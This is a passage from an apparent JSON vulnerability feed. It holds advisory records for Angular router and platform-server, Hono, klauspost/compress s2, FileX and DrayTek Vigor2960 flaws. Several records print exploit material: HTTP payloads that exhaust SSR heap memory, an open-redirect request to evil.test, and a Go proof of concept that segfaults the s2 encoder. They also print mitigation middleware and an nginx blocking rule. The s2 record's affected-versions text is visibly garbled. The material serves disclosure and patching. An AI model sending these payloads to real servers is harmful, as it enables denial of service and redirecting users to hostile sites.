number of concurrent requests, terminating the SSR worker process with a fatal JavaScript heap out-of-memory crash. When the matched routes declare `canMatch` guards or resolvers, a single short request can also trigger repeated guard or resolver executions, increasing load on backend services and holding worker connections open.\n\n* **Transient Allocation:** Memory is released once route recognition completes; there is no persistent memory leak. The primary impact is process termination.\n* **Client-side SPAs Unaffected:** Client-side Angular applications running in the browser are not vulnerable, as browser memory consumption does not cross a security boundary.\n* **Prerendering (SSG) Unaffected:** Build-time prerendering does not process attacker-supplied request URLs.\n\n### Attack Preconditions & Vulnerable Configurations\n\nAn application is affected only if all of the following conditions are met:\n\n1. **SSR Enabled:** The application renders on demand on a Node.js / V8 server.\n2. **Susceptible Route Configuration:** At least one level of the route configuration contains either:\n * an empty-path (`path: \"\"`) route (e.g., `{path: \"\", component: ShopPage}`), or\n * a route assigned to a named outlet (e.g., `{path: \"dashboard\", children: [{path: \":id\", outlet: \"detail\", component: DetailPanel}]}`).\n3. **Upstream Request Line Forwarding:** Request lines reach the Node.js process without being rejected upstream by edge proxies. Node.js accepts request headers up to 16 KiB by default. Guard/resolver amplification requires only a short URL.\n4. **Constrained Heap Size:** Worker heaps are sized small enough relative to the request payload and concurrency (e.g., containers or serverless instances configured with 128 MiB–1 GiB).\n\n### Exploit Payload Examples\n\nAgainst a configuration with empty-path (`path: \"\"`) routes and query parameters:\n\n```http\nGET /shop/(a:/()//b:/()//c:/()//...)?param1=value&param2=value... HTTP/1.1\nHost: example.com\n```\n\nAgainst a configuration with named-outlet or sibling routes:\n\n```http\nGET /dashboard/(detail:1//x:/(detail:1//x:/(...)//y:/(...))//y:/(...)) HTTP/1.1\nHost: example.com\n```\n\n### Patches\n\nThe issue is resolved in [angular/angular#71055](https://github.com/angular/angular/pull/71055). The router now requires every child outlet segment group to match a route configured for its target outlet before unwrapping child segments or completing a match, and prevents unconfigured empty-path outlet groups from matching routes declared for other outlets.\n\nPatched versions:\n* `22.2.1`\n* `21.2.25`\n* `20.3.33`\n\nVersions prior to v20 are also affected but are no longer supported and will not receive a patch.\n\n### Workarounds & Mitigations\n\nIf you cannot immediately upgrade to a patched version, apply one or more of the following mitigations:\n\n1. **Reject Parenthesized or Empty-Path Outlet URLs in Middleware or WAF (Recommended):**\n In `@angular/router`, auxiliary outlet groups in a URL always use parentheses `(...)`, and empty-path outlet groups in a URL always take the form `:/( `, `(/ `, or `///( `.\n\n * If your application does **not** use named (auxiliary) outlets in URLs, reject requests whose path contains `(` or `)` before Angular SSR handles the request.\n * If your application does use named outlets, reject requests whose path contains empty-path outlet sequences (`:/( `, `(/ `, or `///( `).\n\n Unlike URL length limits, this completely blocks both heap exhaustion and short-URL guard/resolver amplification:\n\n ```typescript\n // server.ts (placed before Angular SSR handler)\n app.use((req, res, next) => {\n let pathname: string;\n try {\n pathname = decodeURI(req.url.split(/[?#]/, 1)[0]);\n } catch {\n res.status(400).send(\"Bad Request\");\n return;\n }\n\n // Option A: If the app does not use named outlets in URLs, block all parenthesized groups:\n if (/[()]/.test(pathname)) {\n res.status(400).send(\"Bad Request\");\n return;\n }\n\n // Option B: If the app uses named outlets, block only empty-path outlet groups:\n if (/:\\/\\(|\\(\\//\\(|\\/\\/\\/\\(/.test(pathname)) {\n res.status(400).send(\"Bad Request\");\n return;\n }\n\n next();\n });\n ```\n\n2. **Limit URL Length at Reverse Proxy or Middleware:**\n Configure your edge proxy, web application firewall (WAF), or reverse proxy to reject requests with excessively long URLs (e.g., exceeding 2,048 bytes). The outlet portion of the payload is in the path, so limit the full request target, not only the query string. This reduces, but does not eliminate, guard/resolver amplification, which requires only a short URL.\n\n3. **Increase Node.js Old Space:**\n Increasing `--max-old-space-size` raises the request size and concurrency required to exhaust memory, though it does not eliminate the issue.\n\nAffected package ranges reported by GitHub:\n@angular/router: >= 22.0.0, < 22.2.1\n@angular/router: >= 21.0.0, < 21.2.25\n@angular/router: >= 20.0.0, < 20.3.33\n@angular/router: <= 19.2.25","action":"GitHub lists first patched versions: @angular/router: 22.2.1; @angular/router: 21.2.25; @angular/router: 20.3.33. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T14:36:39.000Z","updatedAt":"2026-10-20T14:36:40.000Z","regions":["Global"],"vendor":null,"product":"@angular/router, @angular/router, @angular/router, @angular/router","stacks":["JavaScript packages (npm)","@angular/router","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-62vg-58rm-qff7","asOf":"2026-10-20T14:36:40.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-62vg-58rm-qff7","url":"https://github.com/advisories/GHSA-62vg-58rm-qff7","type":"primary","publishedAt":"2026-10-20T14:36:39.000Z","checkedAt":"2026-10-26T14:15:55.780Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-62vg-58rm-qff7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-62vg-58rm-qff7, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:15:55.780Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111757","cveId":"CVE-2026-111757","aliases":["GHSA-5r4p-p66f-jhc7"],"kind":"vulnerability","title":"Hono: `serveStatic` decodes the request path a second time, leading to bypass of middleware on static paths","summary":"`serveStatic` decodes the request path a second time after Hono has already decoded it for routing. A crafted request can be routed as one path and served as another, so middleware mounted on a static prefix does not run for a file under that prefix.\n\nHono decodes the request path once before routing. `serveStatic` decoded it again before resolving the file. With a malformed percent-encoded sequence, the first decode leaves part of the path encoded, the router matches the encoded form, and the second decode resolves the real directory. The file is still resolved inside the configured root; this is not a traversal outside it.","detail":"### Summary\n\n`serveStatic` decodes the request path a second time after Hono has already decoded it for routing. A crafted request can be routed as one path and served as another, so middleware mounted on a static prefix does not run for a file under that prefix.\n\n### Details\n\nHono decodes the request path once before routing. `serveStatic` decoded it again before resolving the file. With a malformed percent-encoded sequence, the first decode leaves part of the path encoded, the router matches the encoded form, and the second decode resolves the real directory. The file is still resolved inside the configured root; this is not a traversal outside it.\n\n### Impact\n\nAn unauthenticated attacker may reach static files without the middleware on their prefix running, for example an authentication check. This affects applications that mount middleware on part of the directory served by `serveStatic`. Applications that serve only public files are not affected.\n\nAffected package ranges reported by GitHub:\nhono: >= 4.12.4, < 4.13.11","action":"GitHub lists first patched versions: hono: 4.13.11. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T14:36:11.000Z","updatedAt":"2026-10-20T14:36:13.000Z","regions":["Global"],"vendor":null,"product":"hono","stacks":["JavaScript packages (npm)","hono","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-5r4p-p66f-jhc7","asOf":"2026-10-20T14:36:13.000Z"},"epss":{"probability":0.0031,"percentile":0.23621,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111757&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-5r4p-p66f-jhc7","url":"https://github.com/advisories/GHSA-5r4p-p66f-jhc7","type":"primary","publishedAt":"2026-10-20T14:36:11.000Z","checkedAt":"2026-10-26T14:15:55.780Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-5r4p-p66f-jhc7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-5r4p-p66f-jhc7, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111757&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111757, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111754","cveId":"CVE-2026-111754","aliases":["GHSA-w739-gvwx-grc3"],"kind":"vulnerability","title":"@angular/platform-server: Open Redirect via Protocol-Relative URLs in Server-Side Rendering (SSR)","summary":"An open redirect vulnerability was identified in `@angular/platform-server` when Server-Side Rendering (SSR) is enabled.\n\nWhen Angular SSR renders an incoming request, URL resolution and platform navigation are managed by `ServerPlatformLocation` using `resolveUrl` (or `parseUrl` in v20). While `resolveUrl` rejected protocol-relative URLs whose raw string directly started with `//`, this check ran *prior* to WHATWG URL normalization.","detail":"An open redirect vulnerability was identified in `@angular/platform-server` when Server-Side Rendering (SSR) is enabled.\n\nWhen Angular SSR renders an incoming request, URL resolution and platform navigation are managed by `ServerPlatformLocation` using `resolveUrl` (or `parseUrl` in v20). While `resolveUrl` rejected protocol-relative URLs whose raw string directly started with `//`, this check ran *prior* to WHATWG URL normalization.\n\nWhen a request URL includes a popping dot-segment followed by multiple slashes (such as `/.//evil.test` or serialized from router route shapes like `/.;/(//evil.test)`), the input bypassed the initial `urlStr.startsWith('//')` check. Subsequent WHATWG URL parsing resolved the dot-segments and resulted in a `pathname` starting with `//` (`//evil.test`).\n\nConsequently, `ServerPlatformLocation` stored `pathname = '//evil.test'`. When `@angular/ssr` detected a mismatch between the rendered URL and the router's final location state, it emitted the unnormalized pathname into the HTTP `Location` response header, producing an HTTP 302 redirect with `Location: //evil.test`, which browsers resolve as a protocol-relative navigation off-origin.\n\n### Impact\n\nSuccessful exploitation allows an unauthenticated remote attacker to craft URLs that trick Angular SSR into redirecting users to an arbitrary external domain.\n\n* **Bypasses Application-Level Guards:** Common application-level validation routines (such as checking `!returnUrl.startsWith('//')` before invoking `router.navigateByUrl`) accept `/.//evil.test` or `/.;/(//evil.test)` as a safe relative path, allowing attackers to bypass redirect allowlists.\n* **Client-side SPAs Unaffected:** Pure client-side Angular applications (Single Page Applications without SSR) are **not** vulnerable, as `ServerPlatformLocation` is only utilized in server-side execution environments.\n\n### Attack Preconditions & Vulnerable Configurations\n\nAn application is affected if the following conditions are met:\n\n* **SSR Enabled:** The application runs in a Server-Side Rendering environment using `@angular/platform-server` and `@angular/ssr`.\n* **Parameter Route Shapes:** The router contains parameter routes with wildcard or child segments (e.g. `/:tenant` matching `.` and serializing secondary outlet groups `(//evil.test)` to `/.//evil.test`), or passes user-provided navigation targets (e.g. `returnUrl`).\n* **Reverse Proxy Passthrough:** Upstream reverse proxies (Nginx, Cloudflare, ALB) pass semicolons (`;`) or dot-segments without stripping or normalizing them.\n\n#### Exploit Payload Example\n\nAn attacker sends a request targeting a route with parameters and child segments:\n\n```http\nGET /.;/(//evil.test) HTTP/1.1\nHost: example.com\n```\n\n**Response:**\n```http\nHTTP/1.1 302 Found\nLocation: //evil.test\n```\n\nThe client browser resolves `//evil.test` protocol-relatively and redirects the user away from `example.com` to `evil.test`.\n\n### Patches\n\nThe issue is resolved by updating `resolveUrl` (and `parseUrl` in v20) in `@angular/platform-server` to verify that the normalized URL pathname does not start with `//` when `allowProtocolRelative` is `false`.\n\n* `22.2.1`\n* `21.2.25`\n* `20.3.33`\n\n### Workarounds & Mitigations\n\nIf you cannot immediately upgrade to a patched version, apply one of the following mitigations at your edge reverse proxy or WAF:\n\n1. **Reject Paths with Dot-Segments Followed by Slashes:**\n Configure your reverse proxy (e.g., Nginx, Cloudflare, AWS WAF) to block requests containing `/.//`, `/..//`, or `/.;/`:\n ```nginx\n # Nginx example: reject suspicious path normalization sequences\n if ($request_uri ~* \"(\\n/\\.\\/|\\/\\.\\;)\") {\n return 400;\n }\n ```\n2. **Sanitize Redirect Headers:**\n Ensure edge proxies or API gateways rewrite or disallow protocol-relative (`//`) `Location` response headers originating from the SSR upstream.\n\nAffected package ranges reported by GitHub:\n@angular/platform-server: >= 22.0.0, < 22.2.1\n@angular/platform-server: >= 21.0.0, < 21.2.25\n@angular/platform-server: >= 20.0.0, < 20.3.33\n@angular/platform-server: <= 19.2.25","action":"GitHub lists first patched versions: @angular/platform-server: 22.2.1; @angular/platform-server: 21.2.25; @angular/platform-server: 20.3.33. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T14:35:49.000Z","updatedAt":"2026-10-20T14:35:51.000Z","regions":["Global"],"vendor":null,"product":"@angular/platform-server, @angular/platform-server, @angular/platform-server, @angular/platform-server","stacks":["JavaScript packages (npm)","@angular/platform-server","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","sourceUrl":"https://github.com/advisories/GHSA-w739-gvwx-grc3","asOf":"2026-10-20T14:35:51.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-w739-gvwx-grc3","url":"https://github.com/advisories/GHSA-w739-gvwx-grc3","type":"primary","publishedAt":"2026-10-20T14:35:49.000Z","checkedAt":"2026-10-26T14:15:55.780Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-w739-gvwx-grc3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-w739-gvwx-grc3, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:15:55.780Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63209","cveId":"CVE-2026-63209","aliases":["GHSA-259r-337f-4rfw"],"kind":"vulnerability","title":"Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress","summary":"A signed integer overflow vulnerability in `s2.NewDict()` allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding `MaxInt64`. When `Dict.Encode()` is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via `unsafe.Pointer` arithmetic, crashing the process with SIGSEGV.\n\n- **Name:** `github.com/klauspost/compress/s2`\n- **Ecosystem:** Go\n- **Affected versions:** len(dict) {\n return nil\n}\n```","detail":"# Signed Integer Overflow in s2.NewDict\n\n## Summary\n\nA signed integer overflow vulnerability in `s2.NewDict()` allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding `MaxInt64`. When `Dict.Encode()` is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via `unsafe.Pointer` arithmetic, crashing the process with SIGSEGV.\n\n## Package\n\n- **Name:** `github.com/klauspost/compress/s2`\n- **Ecosystem:** Go\n- **Affected versions:** len(dict) {\n return nil\n}\n```\n\nWhen `r` exceeds `MaxInt64` (9223372036854775807), `int(r)` overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.\n\nWhen `Dict.Encode()` is called, the negative `repeat` value causes an integer overflow in `encodeBlockDictGo()`:\n\n```go\nrepeat := len(dict.dict) - dict.repeat // overflows: 62 - (-5758978476775341977) = huge positive\ncandidate := len(dict.dict) - repeat + s // underflows to negative\nload32(dict.dict, candidate) // OOB via unsafe.Pointer\n```\n\n`load32` calls `le.Load32` which uses `unsafe.Pointer` arithmetic without bounds checking:\n\n```go\nfunc Load32[I Indexer](b []byte, i I) uint32 {\n return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))\n}\n```\n\nThis causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.\n\n## PoC\n\n```go\npackage main\n\nimport (\n \"encoding/binary\"\n \"fmt\"\n \"github.com/klauspost/compress/s2\"\n)\n\nfunc main() {\n var dictData []byte\n buf := make([]byte, binary.MaxVarintLen64)\n n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64\n dictData = append(dictData, buf[:n]...)\n dictData = append(dictData, make([]byte, 16)...) // minimum dict size\n\n dict := s2.NewDict(dictData)\n // dict is non-nil despite invalid repeat value (overflow bypassed validation)\n\n src := make([]byte, 64)\n for i := range src { src[i] = byte(i) }\n dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer\n}\n```\n\n## Impact\n\n- **Denial of Service:** The process crashes immediately with SIGSEGV\n\n## Attack Vector\n\nAny application that:\n1. Accepts user-supplied S2 dictionary data via `s2.NewDict()`\n2. Calls `Dict.Encode()` on any data ≥32 bytes\n\n## Suggested Fix\n\nValidate the uvarint value before converting to int:\n\n```go\nif r > math.MaxInt64 {\n return nil\n}\nd.repeat = int(r)\n```\n\nOr use `uint` for the repeat field and validate against `uint(len(dict))`.\n\n## References\n\n- Source: `s2/dict.go` lines 59-61 (vulnerability), `s2/encode_all.go` line 947 (crash site)\n- Commit: 539243b (v1.18.6 + 4 commits)\n\n## Credits\nChristopher Linke / https://github.com/celinke97/\n\nAffected package ranges reported by GitHub:\ngithub.com/klauspost/compress: <= 1.18.6","action":"GitHub lists first patched versions: github.com/klauspost/compress: 1.18.7. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T14:33:33.000Z","updatedAt":"2026-10-20T14:33:35.000Z","regions":["Global"],"vendor":null,"product":"github.com/klauspost/compress","stacks":["Go modules","github.com/klauspost/compress","go"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-259r-337f-4rfw","asOf":"2026-10-20T14:33:35.000Z"},"epss":{"probability":0.00501,"percentile":0.42605,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63209&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-259r-337f-4rfw","url":"https://github.com/advisories/GHSA-259r-337f-4rfw","type":"primary","publishedAt":"2026-10-20T14:33:33.000Z","checkedAt":"2026-10-26T13:50:56.019Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-259r-337f-4rfw, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63209&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63209, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91041","cveId":"CVE-2026-91041","aliases":[],"kind":"vulnerability","title":"Mounting an attacker-controlled FAT image with fault tolerance enabled causes an out-of-bounds heap write during log replay.","summary":"Mounting an attacker-controlled FAT image with fault tolerance enabled causes an out-of-bounds heap write during log replay. The write is attacker-positioned and attacker-valued, and on a common embedded memory layout it reaches the FX_MEDIA driver callback, giving control of the instruction pointer.","detail":"Mounting an attacker-controlled FAT image with fault tolerance enabled causes an out-of-bounds heap write during log replay. The write is attacker-positioned and attacker-valued, and on a common embedded memory layout it reaches the FX_MEDIA driver callback, giving control of the instruction pointer.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T14:17:04.350Z","updatedAt":"2026-10-20T19:48:50.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91041","asOf":"2026-10-20T19:48:50.250Z"},"epss":{"probability":0.00164,"percentile":0.0554,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91041&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91041","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91041","type":"primary","publishedAt":"2026-10-20T14:17:04.350Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91041&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91041, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113396","cveId":"CVE-2026-113396","aliases":[],"kind":"vulnerability","title":"A weakness has been identified in DrayTek Vigor2960 1.5.1.6 Revision 8218. The impacted element is the function rename_table of the file /cgi-bin/mainfunction.cgi of the component...","summary":"A weakness has been identified in DrayTek Vigor2960 1.5.1.6 Revision 8218. The impacted element is the function rename_table of the file /cgi-bin/mainfunction.cgi of the component Rename Table Handler. This manipulation of the argument newtable causes command injection. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 1.5.1.7 is sufficient to resolve this issue. It is suggested to upgrade the affected component. The vendor explains: \"2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)\". This vulnerability only affects products that are no longer supported by the maintainer.","detail":"A weakness has been identified in DrayTek Vigor2960 1.5.1.6 Revision 8218. The impacted element is the function rename_table of the file /cgi-bin/mainfunction.cgi of the component Rename Table Handler. This manipulation of the argument newtable causes command injection. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 1.5.1.7 is sufficient to resolve this issue. It is suggested to upgrade the affected component. The vendor explains: \"2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)\". This vulnerability only affects products that are no longer supported by the maintainer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T14:16:59.490Z","updatedAt":"2026-10-20T19:27:34.430Z","regions":["Global"],"vendor":null,"product":null,"stacks":["DrayTek"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113396","asOf":"2026-10-20T19:27:34.430Z"},"epss":{"probability":0.01566,"percentile":0.75128,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113396&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113396","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113396","type":"primary","publishedAt":"2026-10-20T14:16:59.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113396&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113396, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113395","cveId":"CVE-2026-113395","aliases":[],"kind":"vulnerability","title":"A security flaw has been discovered in DrayTek Vigor2960 1.5.1.6 Revision 8218. The affected element is the function cgiEscape of the file /cgi-bin/mainfunction.cgi of the...","summary":"A security flaw has been discovered in DrayTek Vigor2960 1.5.1.6 Revision 8218. The affected element is the function cgiEscape of the file /cgi-bin/mainfunction.cgi of the component swmconfigupload. The manipulation of the argument multipart results in path traversal. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. Upgrading to version 1.5.1.7 is sufficient to fix this issue. The affected component should be upgraded. The vendor explains: \"2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)\". This vulnerability only affects products that are no longer supported by the maintainer.","detail":"A security flaw has been discovered in DrayTek Vigor2960 1.5.1.6 Revision 8218. The affected element is the function cgiEscape of the file /cgi-bin/mainfunction.cgi of the component swmconfigupload. The manipulation of the argument multipart results in path traversal. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. Upgrading to version 1.5.1.7 is sufficient to fix this issue. The affected component should be upgraded. The vendor explains: \"2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)\". This vulnerability only affects products that are no longer supported by the maintainer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 